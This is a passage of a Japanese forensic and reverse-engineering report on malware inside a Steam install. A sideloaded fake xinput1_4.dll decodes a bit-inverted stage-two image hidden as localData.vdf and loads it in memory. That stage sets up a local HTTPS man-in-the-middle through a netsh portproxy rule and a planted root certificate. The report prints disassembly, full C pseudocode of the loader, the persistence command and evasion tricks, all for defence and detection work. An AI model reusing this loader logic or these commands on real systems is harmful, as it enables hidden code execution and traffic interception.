Steamの異常な高負荷イベントに関する完全なトレーサビリティとリバースエンジニアリングレポート
レポート範囲:本レポートは、実際の被害サンプルのフォレンジックとリバースエンジニアリングに基づいており、セキュリティ研究および防御目的に限定されます。すべての指標(IOC)は文末に記載されており、ルール作成や企業資産の精査に使用できます。クリーンアップスクリプトは第17節に記載されており、独立して実行できます。
サンプルソース:被害ホストの実際のインストールパス(詳細は第6節を参照)。元のサンプルとアンパック後のイメージのSHA256ハッシュは第18節のIOCに記載されています。すべての動的動作は隔離された仮想マシン環境で再現されました。このレポートではサンプルバイナリは外部に公開されていません。
1. 現象の観察
イベントは、Windows 10ホストのSteamクライアントが継続的に異常を起こしたことにより発生しました。影響を受けたホストで観測可能な現象は、以下のいくつかの側面に集中しています。
- プロセスリソース使用率:
Steam.exeメインプロセスのCPU使用率が30%〜50%の範囲で安定し、ワーキングセット(Working Set)は30分以内に数GBにまで増加しました。 - プロセスアイデンティティ:高負荷プロセスは
Steam.exeメインプロセス自体であり、Steam Client WebHelperでも、ゲームプロセスPartyAnimals.exeでもありませんでした。 - 状態の残留:ゲーム終了後もSteamクライアントUIは「ゲーム実行中」と表示され、リソース使用率は解放されず、Steamメインプロセスを終了する必要がありました。
- 環境依存性:同じアカウント、同じゲームを別の対照マシンで実行した場合は正常に動作し、Steamアカウントとゲーム自体の欠陥は初期段階で除外されました。
- 安定したトリガー条件:異常は『Party Animals』(PartyAnimals)の起動後に安定して再現されたため、初期仮説はSteamクライアントの録画/オーバーレイ/シェーダープリキャッシュ/Input/コントローラー/Betaチャンネルなどのサブシステムの欠陥に傾きました。

異常時のSteamクライアント状態
上記のSteamサブシステムを一つずつ無効にし、ゲームの再インストール、Steamをオフラインで起動、configとuserdataディレクトリをクリアするなど、一般的な手段では問題は解決しませんでした。疑わしいシグナルは調査が進むにつれて徐々に収束しました。
- たとえSteamがオフラインモードであっても、ゲーム起動後に使用率が上昇 → 異常は外部ネットワークリクエストのブロッキングに起因するものではありません。
Steam.exeメインプロセスのスレッド数が時間とともに単調に増加(実測シーケンス 207 → 219 → 235 → 247) → 異常はスレッドレベルのリークであり、シングルスレッドの無限ループではありません。- Steamクライアントログに時折
Failed to load Steam Service (GLE 126)が出現しましたが、SteamService.exe /repair操作はフリーズし、SteamServiceは異常プロセスチェーン上になく、その後の分析で根本原因とは無関係であることが証明されました。
これにより、Steamクライアント自体の通常の障害パスはほぼ除外され、分析の方向性は「プロセス内に非公式コードが注入されている」というより深い仮説に移行しました。
2. プロセスメモリフォレンジック:異常コードセグメントとソケットストームの最初の特定
ゲーム実行中とゲーム終了後の2つのプロセスメモリダンプを収集し、その後の分析のベースラインとしました。
| ファイル | スレッド数 | PRIVATE_EXEC スレッド | プライベート実行可能メモリ |
|---|---|---|---|
steam.dmp | 128 | 82 | ~586 MB |
steamtc.dmp | 265 | 224 | ~1368 MB |
WinDbg/cdbへの過度な依存を避けるために、最小限のミニダンプ解析スクリプトを作成し、モジュールテーブル、スレッドエントリ、スタックリターンアドレス、メモリセクション属性を一つずつスキャンし、相互に検証可能な3つの事実を得ました。
- Steamプロセス内に膨大な量の
MEM_PRIVATE+PAGE_EXECUTE_READWRITEプライベートメモリ(ゲーム終了後1.3 GB)が存在し、「約4–8 MBのグループ」として整然と割り当てられていました。 - 多数のスレッドのスタックトップが
mswsock!WSPAccept → ws2_32!accept → 匿名アドレスに位置していました。 - 上記の匿名アドレスは、
steam.exe / steamui.dll / steamclient64.dll / tier0_s64.dll / gameoverlayrenderer64.dllのいずれの正規モジュールにも属していませんでした。
その後、WinDbg Previewを使用して上記の結論を再確認しました。
.symfix C:\Symbols
.reload /f
!runaway 7
!address -summary
!address -f:PAGE_EXECUTE_READWRITE
~* kpn 30
!addressコマンドにより、高CPUスレッドの現在のPC(例:00000249bc3a4ead)が約4 MBのMEM_PRIVATE / PAGE_EXECUTE_READWRITE領域に収まっていることがさらに確認されました。
これにより、分析の方向性は「Steamクライアントのパフォーマンス欠陥」から、より正確な仮説へと移行しました。Steamメインプロセス内に、ロードされたモジュールに属さないコードセグメントが存在し、そのコードセグメントがローカルポートで大量の接続を継続的にacceptしている。
3. 異常コードセグメントの予備逆アセンブル:ローカル擬似Steamworksサービスの初步的な輪郭
ダンプ内の4 MBの匿名セグメントに対して逆アセンブルと文字列スキャンを実行し、抽出された内容は一般的なスクリプトランタイムではなく、Steamworksサーバーサイドコードと高度に同型の文字列コレクションでした。
\Steam\protobuf-main\src\google\protobuf\...
steam_api.proto / steam_cloud.proto / steam_server.proto
steam_id_lobby / steam_id_owner / client_supplied_steam_id
primary_steam_controller_serial / total_steam_controller_count
http_host / http_status_code / use_https / not a socket
このコードセグメントは間接呼び出しを通じてkernel32関数を参照していますが、それ自体はロードされたモジュールのエクスポートテーブルには属していません。「4–8 MBのグループとしての整然とした割り当て」、「ソケットacceptストーム」などの並行現象と合わせて、Steamプロセス内に繰り返し作成され、適切に回収されていないローカルサービスの実装が常駐していると初步的に結論付けられました。
4. ポートとトラフィック入口の特定:0.0.0.0:8443 と 127.0.0.1:443 → 127.0.0.1:8443
SteamプロセスのTCPポート使用状況を照会します。
$p = (Get-Process steam | Sort-Object CPU -Descending | Select-Object -First 1).Id
Get-NetTCPConnection -OwningProcess $p |
Group-Object State,LocalAddress,LocalPort |
Sort-Object Count -Descending |
Select-Object Count,Name -First 30
結果に明らかな異常項目Listen 0.0.0.0:8443が現れ、複数のリスニングソケットがsteam.exeに属していました。さらにWindowsのportproxyルールを確認します。
netsh interface portproxy show all
Listen ipv4 Connect to ipv4
127.0.0.1 443 127.0.0.1 8443
つまり、ローカルマシンから127.0.0.1:443への接続は、WindowsシステムによってSteamプロセスがリッスンしている8443ポートにリダイレクトされます。この構造は、「ローカル透過HTTPS中間者」のインバウンドパスと完全に一致します。
このルールを削除してその永続化メカニズムを観察しようと試みました。
Remove-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp' -Name '127.0.0.1/443'
net stop iphlpsvc; net start iphlpsvc
ルールは一時的に消えますが、古いSteamを再起動するとすぐにルールが再作成されました。この現象により、「システム設定の履歴的残骸」の可能性は排除され、Steamの起動チェーンにこのルールを能動的に再作成するコードが存在することが示されました。sc.exe config "Steam Client Service" start= disabledでも再作成を阻止できなかったことから、実行主体はSteam Client Serviceでもないことが示されました。
5. Process Monitor プロセスチェーン追跡:Steamプロセスが能動的にnetshを派生
Procmonを使用してSteam起動中のProcess Createイベントをキャプチャし、時間ウィンドウをSteam起動後5秒以内に合わせると、決定的なプロセスチェーンイベントが捉えられました。
Steam.exe (39372) 親プロセス→子プロセス
└─ cmd.exe (39340)
コマンドライン: cmd.exe /c netsh interface portproxy add v4tov4
listenport=443 listenaddress=127.0.0.1
connectport=8443 connectaddress=127.0.0.1
タイムスタンプ: 2026-05-22 02:52:08
親プロセス: Steam.exe (起動時刻 02:52:05)


Steamメインプロセスは起動から約3秒後にcmd.exeを派生し、それを通じてnetshを呼び出してportproxyルールを追加しました。この動作は、Valveの公式クライアントの既知の実行パスには存在しません。これは、Steamメインプロセスが注入された直接的な動作証拠と見なすことができます。
6. クリーンな対照実験:汚染範囲をSteamインストールルートディレクトリに特定
クリーンな環境に公式のSteamクライアントをF:\teststeamに新規展開し、2組の対照実験を実施しました。
- ログイン画面で放置:新しいSteamはportproxyルールを作成せず、ポートリストはクリーンなままでした。
- 新しいSteamを通じて『Party Animals』を起動:プロセス使用率は正常で、高CPU/メモリとスレッド数リークは発生しませんでした。
さらに、クロスマイグレーション法で汚染源を絞り込みました。古いF:\steamの各サブディレクトリを新しいSteamディレクトリに一つずつ移動して起動テストを行いました。
steamapps、config、userdata、package、clientui、bin、public、resource、appcacheのいずれのサブディレクトリの移動もportproxyの作成をトリガーしませんでした。
これにより、汚染源はユーザーデータ/キャッシュ系のサブディレクトリにはなく、Steamルートディレクトリ内の追加ファイルにあると判断できました。
7. Compare-Object 差分特定で xinput1_4.dll に到達
Compare-Object `
(Get-ChildItem F:\steam -File | Select-Object -ExpandProperty Name) `
(Get-ChildItem F:\teststeam -File | Select-Object -ExpandProperty Name)
libx264-142.dll <=
logs.zip <=
simulator.dll <=
xinput1_4.dll <=
差分には古いSteamにのみ存在する4つのファイルが含まれていました。これら4つのファイルに対して「*.bakにリネーム → portproxyをクリア → Steamを再起動」する二分検証を実施したところ、チェーンは1つのファイルに安定して収束しました。
F:\steam\xinput1_4.dll
このファイルが存在する場合、Steam起動時に443→8443のportproxyルールが再作成され、『Party Animals』が高負荷をトリガーしました。このファイルをリネームすると、ポートルールは作成されなくなり、ゲームの実行は正常に戻りました。根本原因ファイルが特定されました。
8. xinput1_4.dll 完全リバースエンジニアリング:フェーズ1 DLLサイドローディングローダー
サンプル基本情報:
SHA256: 631C8757165C9BACE8D6CFE019425ED5AC97319CF2D8FD2B07A8E32025711FB4
サイズ: 30,648 bytes
アーキテクチャ: x64
PE タイムスタンプ: 2025-12-20 12:42:55 UTC
ImageBase: 0x180000000
Entry RVA: 0x3190
エクスポート: 無し
署名: Valid
署名者: 山西荣升源科贸有限公司
発行者: Verokey High Assurance Secure Code EV
Thumbprint: 428FEE9B772BD7E56987E864AD8C83B5721E717F
PDB: C:\Users\Administrator\Desktop\\xinput1_4\x64\Release\xinput1_4.pdb
このDLLは有効な署名を持っていますが、有効な署名はコード署名証明書がCAによって発行されたことのみを示し、「コードに悪意がない」という意味を含みません。EVコード署名証明書は、グレーゾーン/マルウェアの配布チェーンでも一般的に見られます。PDBパスは同時に、作成者のマシンのユーザー名がAdministratorであること、プロジェクトがDesktopディレクトリにあること、標準のMSVC x64\Releaseテンプレートでビルドされていることを暴露しています。
8.1 命名の異常:エクスポートテーブルが空の「XInput」DLL
通常のxinput1_4.dllは以下をエクスポートする必要があります。
XInputGetState / XInputSetState
XInputGetCapabilities
XInputGetBatteryInformation
...
このDLLはXInputインターフェース関数を一切エクスポートしておらず、存在する唯一の目的は、ファイル名を利用してWindowsのDLL検索順序により、Steamメインプロセス起動中にロードされることです(DLLサイドローディング / DLL hijacking)。WindowsはEXEをロードする際、依存DLLを固定の順序で検索し、EXEと同じディレクトリがSystem32よりも優先されるため、F:\steam`ルートディレクトリに配置された偽のxinput1_4.dll`は、システムディレクトリの正規DLLよりも先にロードされます。
8.2 DllMain:ホスト環境に基づく条件付きアクティベーション
エントリ0x3190はMSVCの_DllMainCRTStartupのジャンプ台であり、最終的に0x180001550、すなわち実際のDllMain関数にジャンプします。
0x180001550: push rbx
0x180001552: sub rsp, 0x20
0x180001556: mov rbx, rcx ; save hinstDLL
0x180001559: lea rcx, [rip + 0x2c80] ; "SteamUI.dll"
0x180001560: call qword ptr [rip + 0x2ab2] ; KERNEL32!GetModuleHandleA
0x180001566: test rax, rax
0x180001569: je 0x180001579 ; ホストがSteamでない場合は直接リターン
0x18000156b: mov rcx, rbx
0x18000156e: call qword ptr [rip + 0x2a9c] ; KERNEL32!DisableThreadLibraryCalls
0x180001574: call 0x180001170 ; ワーク関数
0x180001579: mov eax, 1 ; 常にTRUEを返す
0x18000157e: add rsp, 0x20
0x180001582: pop rbx
0x180001583: ret
エントリロジックは明確なホスト環境検出を実装しています。GetModuleHandleA("SteamUI.dll")でSteamUIがロードされているかどうかを確認します。このモジュールが存在する場合(つまりホストがSteamメインプロセスであり、他のプロセスは通常SteamUI.dllをロードしない)にのみワークフローに入ります。他のホストプロセスでは直接return TRUEで静かに終了し、非Steam環境での露出を回避します。
8.3 ワーク関数 sub_1170:二次API解決
0x180001187: lea rcx, [rip + 0x2f92] ; "kernel32.dll"
0x18000118e: call GetModuleHandleA ; rdi = HMODULE kernel32
0x180001194: lea rcx, [rip + 0x2f95] ; "user32.dll"
0x18000119e: call GetModuleHandleA ; rbx = HMODULE user32
0x1800011a4: lea rdx, "GetProcAddress"
0x1800011b1: call GetProcAddress
0x1800011b7: lea rdx, "VirtualAlloc" ; -> r13
0x1800011c7: lea rdx, "VirtualFree" ; -> r15
0x1800011da: lea rdx, "MessageBoxA" ; (解決されたが使用されていない)
0x1800011ed: lea rdx, "CreateFileA" ; -> rsi
0x1800011fd: lea rdx, "ReadFile" ; -> r12
0x180001210: lea rdx, "CloseHandle" ; -> r14
0x180001223: lea rdx, "GetFileSize" ; -> rdi
留意すべき点として、上記のAPIは静的IAT内に既に全て存在していますが、作者はGetModuleHandleA + GetProcAddressを使用してランタイム時に再度解決しています。この手法は、典型的な静的解析回避 / IATフック回避技術です。コアAPIを静的IAT経由で使用せず、一部のEDR/AVがIATスロットに仕掛けたフックをバイパスします。
8.4 %LOCALAPPDATA% 3段階パスフォールバック
1. GetEnvironmentVariableA("LOCALAPPDATA", buf, MAX_PATH)
成功すればそのまま使用。
2. 失敗した場合:
GetUserNameA(&user, &size)
wsprintfA(&buf, "C:\\Users\\%s\\AppData\\Local", user)
GetFileAttributesA(&buf) // パスが存在するか確認
成功すれば使用。
3. それでも失敗した場合 SHGetKnownFolderPath:
GUID = {F1B32785-6FBA-4FCF-9D55-7B8E7F157091} ← FOLDERID_LocalAppData
flags = 0x8000 ← KF_FLAG_DEFAULT_PATH
ワイド文字列を返す → WideCharToMultiByteでANSIに変換 → CoTaskMemFree
4. 最後のフォールバック SHGetSpecialFolderPathA(NULL, &buf, 0x1C, FALSE)
ここで 0x1C = CSIDL_LOCAL_APPDATA
RVA 0x4200の16バイト定数は逆算の結果、FOLDERID_LocalAppDataのGUID(リトルエンディアンの8527b3f1ba6fcf4f9d557b8e7f157091)であることが確認されました。
次に、wsprintfA(&fullpath, "%s\Steam\localData.vdf", local_appdata)で最終的なターゲットパスを構築します。
8.5 ファイル読み込みとバイト単位ビット反転デコード
CreateFileA(path, GENERIC_READ=0x80000000, FILE_SHARE_READ=1, NULL,
OPEN_EXISTING=3, FILE_ATTRIBUTE_NORMAL=0x80, NULL)
GetFileSize(h, NULL) → size
VirtualAlloc(NULL, size, MEM_RESERVE|MEM_COMMIT=0x3000, PAGE_READWRITE=4)
ReadFile(h, buf, size, &actual, NULL)
CloseHandle(h)
続いてSSE反転デコードループです。
0x180001433: movdqa xmm2, xmmword ptr [rip+0x2db5] ; 定数を取得
0x180001460: movdqu xmm0, [rax-0x20]
0x18000146d: andnps xmm0, xmm2 ; xmm0 = (~xmm0) & xmm2
0x180001470: movdqu [rax-0x60], xmm0
... 4ウェイ展開、毎回64バイト ...
0x180001460-0x180001497: movdqu/andnps/movdqu × 4グループ
... 残りのバイトのスカラー末尾 ...
0x1800014e0: not byte ptr [rcx]
0x1800014e2: lea rcx, [rcx+1]
0x1800014e6: sub r8, 1
0x1800014ea: jne 0x1800014e0
RVA 0x41f0の16バイトxmm2定数はダンプによりff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ffであることが確認されました——全て0xFF。
x86 SSEのandnps a, b命令はa = (NOT a) AND bを実行します。b = 0xFFFF...FF(全て1)の場合、結果はa = NOT aとなります。スカラー末尾ループに明示的に現れるnot byte ptr [rcx]と合わせて、このデコード変換のセマンティクスは命令レベルの証拠によりバイト単位のビット反転であると明確にされ、各バイトに対するXOR 0xFFと等価です。
8.6 手動PEマッピング:MemoryModuleライブラリの直接再利用
0x1800014ec: mov rdx, rdi ; size
0x1800014ef: mov rcx, rsi ; decoded buffer
0x1800014f2: call 0x180001590 ; sub_1590 = MemoryLoadLibraryEx
0x1800014f7: test rax, rax
0x1800014fa: je 0x180001512 ; 失敗 -> ret
0x1800014fc: lea rdx, "loadLib"
0x180001503: mov rcx, rax ; mapped module handle
0x180001506: call 0x180001b20 ; sub_1b20 = MemoryGetProcAddress
0x18000150b: test rax, rax
0x18000150e: je 0x180001512
0x180001510: call rax ; ← stage-2!loadLib()
sub_1590は浅いラッパーであり、5つの内部関数ポインタをスタックにプッシュしてから実際のマッパー0x180001e5e0を呼び出します。これらの5つのコールバックは、MemoryModule(Joachim BauchのオープンソースメモリPEローダー)ライブラリのMemoryLoadLibraryExにおける5つのカスタマイズ可能な関数MemoryLoadLibrary / MemoryGetProcAddress / MemoryFreeLibrary / MemoryAlloc / MemoryFreeに正確に対応しています。
sub_1b20は標準実装のMemoryGetProcAddressです。
rax = MODULE.headers (offset +0)
r15 = MODULE.codeBase (offset +8)
[headers + 0x88, 0x8C]を読む ; OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
[export_dir + 0x14, 0x18, 0x10]を読む ; NumberOfFunctions / NumberOfNames / Base
初回呼び出し時にHeapAllocで名前テーブルキャッシュを確保し、[MODULE + 0x50]に格納 ; MEMORYMODULE.nameExportsTable
MemoryModuleのMEMORYMODULE構造体の最初のフィールドはPIMAGE_NT_HEADERS headers、2番目のフィールドはunsigned char *codeBase、その数フィールド後にLPVOID *nameExportsTableがあります。これはオフセット+0、+8、+0x50(x64アライメント後)に正確に対応します。このサンプルは構造体オフセットを変更せず、MemoryModuleの元のレイアウトをそのまま使用しています。
call raxの呼び出し前にrcx/rdx/r8/r9への代入がないため、Windows x64 ABIにより、stage-2のloadLibは引数なし関数であると判断できます。
8.7 失敗パスのサイレント処理
ワーク関数全体にはMessageBoxAの実際の呼び出しは存在しません(このAPIは第8.3節の2次解決ステップで解決されていますが、おそらく開発初期のデバッグメッセージボックスの残骸であり、リリースバージョンでは使用されていません)。すべての失敗分岐はCloseHandle + VirtualFree(buf, 0, MEM_RELEASE) + ret 0です。つまり、いずれの段階の失敗も外部に報告されず、ホストプロセスには観測可能なシグナルはありません。
8.8 stage-1 完全疑似コード
BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (GetModuleHandleA("SteamUI.dll") == NULL)
return TRUE; // ホストがSteamでない場合は静かに終了
DisableThreadLibraryCalls(hinstDLL);
do_work();
return TRUE;
}
static void do_work(void) {
HMODULE k32 = GetModuleHandleA("kernel32.dll");
HMODULE u32 = GetModuleHandleA("user32.dll");
// 重要なAPIを2次解決し、IATフックをバイパス
pVirtualAlloc = GetProcAddress(k32, "VirtualAlloc");
pVirtualFree = GetProcAddress(k32, "VirtualFree");
pCreateFileA = GetProcAddress(k32, "CreateFileA");
pReadFile = GetProcAddress(k32, "ReadFile");
pCloseHandle = GetProcAddress(k32, "CloseHandle");
pGetFileSize = GetProcAddress(k32, "GetFileSize");
char local_appdata[MAX_PATH] = {0};
// 3段階フォールバックで %LOCALAPPDATA% を解決
if (!GetEnvironmentVariableA("LOCALAPPDATA", local_appdata, MAX_PATH)) {
char user[256]; DWORD usz = sizeof(user);
if (GetUserNameA(user, &usz)) {
char buf[MAX_PATH];
wsprintfA(buf, "C:\\Users\\%s\\AppData\\Local", user);
if (GetFileAttributesA(buf) != INVALID_FILE_ATTRIBUTES) {
lstrcpynA(local_appdata, buf, MAX_PATH);
goto have_path;
}
}
PWSTR wpath = NULL;
if (SUCCEEDED(SHGetKnownFolderPath(&FOLDERID_LocalAppData,
KF_FLAG_DEFAULT_PATH, NULL, &wpath))) {
WideCharToMultiByte(CP_ACP, 0, wpath, -1, local_appdata, MAX_PATH, 0, 0);
CoTaskMemFree(wpath);
} else {
SHGetSpecialFolderPathA(NULL, local_appdata, CSIDL_LOCAL_APPDATA, FALSE);
}
}
have_path:;
char fullpath[MAX_PATH];
wsprintfA(fullpath, "%s\\Steam\\localData.vdf", local_appdata);
HANDLE h = CreateFileA(fullpath, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (h == INVALID_HANDLE_VALUE) return;
DWORD size = GetFileSize(h, NULL);
BYTE *buf = VirtualAlloc(NULL, size, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
DWORD read = 0;
ReadFile(h, buf, size, &read, NULL);
CloseHandle(h);
if (read != size) { VirtualFree(buf, 0, MEM_RELEASE); return; }
// バイト反転 (== XOR 0xFF)
for (DWORD i = 0; i < size; ++i) buf[i] = ~buf[i];
// MemoryModuleスタイルで手動マッピングし、loadLibを呼び出す
HMEMORYMODULE mod = MemoryLoadLibrary(buf, size);
if (!mod) return;
FARPROC loadLib = MemoryGetProcAddress(mod, "loadLib");
if (loadLib) ((void(*)(void))loadLib)();
}
xinput1_4.dllは第1段階のローダー機能のみを担い、その本体のペイロードは%LOCALAPPDATA%\Steam\localData.vdfにあります。次のセクションでは、このstage-2イメージの静的解析を行います。
9. stage-2 静的解析:VDFを偽装したPEイメージ
9.1 PEのデコード
被害ホストからlocalData.vdfを回収しました。
パス: C:\Users\Administrator\AppData\Local\Steam\localData.vdf
サイズ: 2,900,480 bytes (2.9 MB)
SHA256: 81F04831573AB983E7F4D7A64B375D0C66C6C282FFEFA00EA105F433CC8AC6A8
mtime: 2026-01-01 16:50:04
先頭の数バイト:
B2 A5 6F FF FC FF FF FF FB FF FF FF 00 00 FF FF ...
このバイトシーケンスはVDFテキスト形式の特性に合致しません。B2 ^ FF = 4D、A5 ^ FF = 5AはASCII文字MZに対応します。ファイル全体にNOT/XOR 0xFFデコードを適用すると、
4D 5A 90 00 03 00 00 00 ... ← 標準MZ DOSヘッダー
デコード後 SHA256: D9ADF672F5A4405B0C113C9EEC653653FB0D8152875FCEB85BA30D2350F79C85
アーキテクチャ: x64
PE タイムスタンプ: 2025-12-25 13:11:40 UTC
ImageBase: 0x180000000
SizeOfImage: 0x82A000 (約 8.5 MB、ディスクファイルより ~5.6 MB 大きい)
エントリ RVA: 0x5667F0
署名: NotSigned
エクスポートテーブルには1つの関数のみがあります。
エクスポートDLL名: hid.dll
エクスポート関数: loadLib (RVA 0x2CB80)
PDB パス: F:\入庫内核\Steam\x64\Release\hid.pdb ← ★ 作者自身が命名した「入庫内核」
stage-1はMemoryGetProcAddressでエクスポート名loadLibを検索し、stage-2はloadLibのみをエクスポートしています。2つのファイルは同じ著者の名前空間を共有し、2段階のロードチェーンを構成しています。PDBパス中の「入庫内核」の文字は、プロジェクトのビジネスアイデンティティを直接明らかにしています。ドメインcdk.steam.icuと後述の§12.11のCMsgCdkActiveResponseプロトコルフィールドと合わせて、このツールは「Steam CDKアクティベーションキーを購入 → ライブラリ登録ツール → 未購入ゲームをSteamライブラリにアクティベートする」というグレーゾーンビジネスチェーンのランタイムカーネルコンポーネントであると判断できます。
9.2 セクションテーブルの特徴:11セクション中7セクションがraw_size = 0
セクション vaddr vsize raw_off rsize
.text 0x00001000 0x00326872 0x00000000 0x00000000 ← raw=0 (仮想セクション)
.rdata 0x00328000 0x0009b8f0 0x00000000 0x00000000 ← raw=0
.data 0x003c4000 0x00026fd0 0x00000000 0x00000000 ← raw=0
.pdata 0x003eb000 0x000218dc 0x00000000 0x00000000 ← raw=0
.fptable 0x0040d000 0x00000200 0x00000000 0x00000000 ← raw=0 ★
.text 0x0040e000 0x00141fd0 0x00000000 0x00000000 ← raw=0 (2番目の .text)
.data 0x00550000 0x0001273f 0x00000000 0x00000000 ← raw=0
.text 0x00563000 0x002c30b0 0x00000400 0x002c3200 ← 実データを含む3番目の .text
.data 0x00827000 0x00000610 0x002c3600 0x00000800
.reloc 0x00828000 0x00000080 0x002c3e00 0x00000200
.rsrc 0x00829000 0x000000f8 0x002c4000 0x00000200
このセクションレイアウトはVMProtect 3.xの典型的な形態です。
- 3つの
.textセクションが存在し、最初の2つはraw=0(仮想セクション、実行時にアンパッカーが埋める)、3番目は2.9 MBの実データを含みます。 .fptableはVMProtectの特徴的なセクション(関数ポインタテーブル)です。- エントリ
0x5667f0は3番目の.textセクションに位置し、約4000バイトのアンパック/仮想マシン・ディスパッチコードでブートストラップを行います。 SizeOfImage0x82A000 はディスクファイルより約5.6 MB大きい、その差はすべてのraw=0セクションのサイズの合計に等しい——VMProtectの標準実装:元のセクションはディスク上で削除され、実行時にアンパッカーによって復元されます。
低エントロピーのbootstrap領域(rva 0x563000–0x56f000)から抽出された文字列には、VMProtectの特徴的なフィンガープリントも含まれています。
.rdata$voltmd ← VMProtect SDK固有のメタデータセクション
.fptable
.rdata$voltmdと.fptableが同時に存在することは、VMProtect SDKの強力な特徴的フィンガープリントとして使用できます。同じ場所には、完全な.CRT$XCA..XCZ / .CRT$XIA..XIZ / .CRT$XLA..XLZ MSVCチェーンも見られます。元のコンパイラはMSVCであり、C++ランタイムが完全に存在します。
9.3 極小のIAT:わずか11のインポート
完全なインポートテーブル:
KERNEL32.dll: LoadLibraryExW
USER32.dll: GetForegroundWindow
ADVAPI32.dll: CryptAcquireContextA
SHELL32.dll: SHGetKnownFolderPath
ole32.dll: CoTaskMemFree
bcrypt.dll: BCryptGenRandom
WINHTTP.dll: WinHttpSendRequest
WS2_32.dll: ord #3 ← bind();序数によるインポートはVMProtectのIAT難読化でよく見られる
CRYPT32.dll: CertSetCertificateContextProperty
DNSAPI.dll: DnsQuery_W
dbghelp.dll: SymFromAddr
各インポートモジュールは1つのAPIのみを宣言しており、残りのAPIはすべて実行時にLoadLibraryExW + GetProcAddressで解決されます。これら11の宣言に基づき、stage-2の実行時動作面を逆推できます。
| インポートAPI | 推測される用途 |
|---|---|
LoadLibraryExW | ブートストラップ段階で他のモジュールをロード(WinHttp/Crypt32/Cert/Reg/...) |
WinHttpSendRequest | C2 / アクティベーションサーバーへのHTTPS発信 |
DnsQuery_W | アクティブDNSクエリ(hostsを書き換える前のローカル解決をバイパス) |
WS2_32 #3 (bind) | ローカルポートのリッスン(つまり0.0.0.0:8443) |
BCryptGenRandom | 暗号学的に安全な乱数(TLS、鍵、nonce) |
CryptAcquireContextA | レガシーCryptoAPIエントリ |
CertSetCertificateContextProperty | 証明書プロパティの書き込み(秘密鍵のバインド、フレンドリ名の設定など)。"DCS Root CA G2"ルート証明書のインストール動作と一致 |
SHGetKnownFolderPath | システムディレクトリの取得(ユーザー設定、hosts、ルート証明書ストアなど) |
GetForegroundWindow | フォアグラウンドウィンドウ検出(アンチサンドボックス / アンチデバッグ / アクティベーションフローのトリガー) |
SymFromAddr (dbghelp) | 実行時に関数をシンボルで特定——アドレスを入力し、シンボル名を返す |
CoTaskMemFree | SHGetKnownFolderPathが返すワイド文字列の解放 |
CertSetCertificateContextPropertyという単一のAPIで証明書インストールパスが確認できます。このAPIはCERT_KEY_PROV_INFO_PROP_ID(秘密鍵のバインド)またはCERT_FRIENDLY_NAME_PROP_ID(フレンドリ名の設定)に使用され、システムルート証明書をインストールする際の必須の呼び出しです。メモリダンプに現れたDCS Root CA G2文字列と、レジストリに最終的に着地したルート証明書のフィンガープリントにより、ローカルHTTPS中間者スタックの証明書側チェーンが閉じられます。
SymFromAddrの存在は特に注目に値します。このAPIは任意のランタイムアドレスを受け取り、対応するシンボル名を返します。stage-2がSteamプロセスにロードされた後、SymFromAddrとSteam公式PDBを組み合わせて、「シンボルによる位置特定」のフックインストールを実行できます。これにより、Steamクライアントのバージョンに固有のオフセットをハードコードする必要がなくなります。これが、このサンプルが複数のSteamクライアントバージョンで安定して動作する根本的なメカニズムです。
9.4 静的に可視な文字列はわずか3つ
stage-2のファイル全体で静的に可視な文字列は以下のみです。
.data +0x1a8: loadLib
.data +0x1b8: hid.dll
utf-16: kernel32.dll
netsh interface portproxy ...、hosts、DCS Root CA G2、CMsgGatewayHookRequest、GetDepotKey、force_proxyなどの動作関連文字列はディスクファイルには存在しません。これらはすべて実行時にアンパッカー/仮想マシンによって解かれます。この現象は、前述の§2–§6のフォレンジック手順がsteam.dmpメモリダンプに依存して証拠を観察する必要があった理由を説明しています。静的ストリングスキャンだけではstage-2の具体的な動作を捉えることはできません。
9.5 IATはおとり:ディスク上のコードは11のIATスロットを0回参照
2.9 MBのディスク上の.textセクションに対して、4種類のx64参照方法の全スキャンを実施し、11のIATスロット(rva 0x8275b0–0x827600)の参照回数を集計しました。
絶対8バイトVAポインタ → IATいずれかのスロット: 0 hits
ff 15 ?? ?? ?? ?? (call [rip+disp]): 0 hits
ff 25 ?? ?? ?? ?? (jmp [rip+disp]): 0 hits
48 8b ?5 ?? ?? ?? ?? (mov rXX, [rip+disp]) 0 hits
4c 8b ?5 ?? ?? ?? ?? (mov r8-r15, ...) 0 hits
すべて0ヒットです。主流ではない参照方法による特別なエンコーディングは完全には排除できませんが、一般的な逆アセンブルツールが認識できるすべてのパスは、これら11のIATスロットを参照していません。WindowsローダーはPE仕様に従ってこれらを実際のAPIアドレスにフィックスアップしますが、ディスク上の命令ストリームはこれらのアドレスを使用していません。
この現象はVMProtectの標準的な偽装手法です。実際のimport呼び出しはすべて仮想マシン/暗号化領域に移され、外側のIATはAVの静的スキャンに対するおとりとしてのみ残されています。 これら11のAPIは実質的にはVMProtect SDKがパッケージング時に設定した「宣言的インポート」に過ぎず、シェルのブートストラップコードにスタート地点を提供する役割を果たします(例えばLoadLibraryExWは実行時に他のモジュールをさらにロードするために使用されます)。実際にビジネスロジックを担う数十から数百のAPI(CreateProcessA、RegSetValueExW、CertAddCertificateContextToStore、send、recvなど)は、stage-2の実行後、TLSコールバック内で自己解決されます。
9.6 .reloc はわずか24エントリ:ほぼ完全に位置非依存
通常、約8 MBのImageBaseを持つPEには数千のrelocエントリが含まれます。stage-2には24エントリしかありません。
ブロック 1: 0x564000 領域、6 entry → 0x564250-0x564278 の6つの qword ポインタ
ブロック 2: 0x568000 領域、2 entry → 0x568d88, 0x568d90
ブロック 3: 0x56b000 領域、4 entry → 0x56b890-0x56b8a8 (TLS ディレクトリの4つのポインタ)
ブロック 4: 0x7f3000 領域、6 entry → 0x7f3c18-0x7f3ce0 (load_config テーブル)
ブロック 5: 0x827000 領域、6 entry → 0x827000+ (data 領域の静的ポインタ)
ブロック1を展開すると:
rva 0x564250 → abs 0x18080b3c0 (rva 0x80b3c0) ★ 暗号化コード領域
rva 0x564258 → abs 0x18080b3c0 (rva 0x80b3c0) ★ 暗号化コード領域(重複)
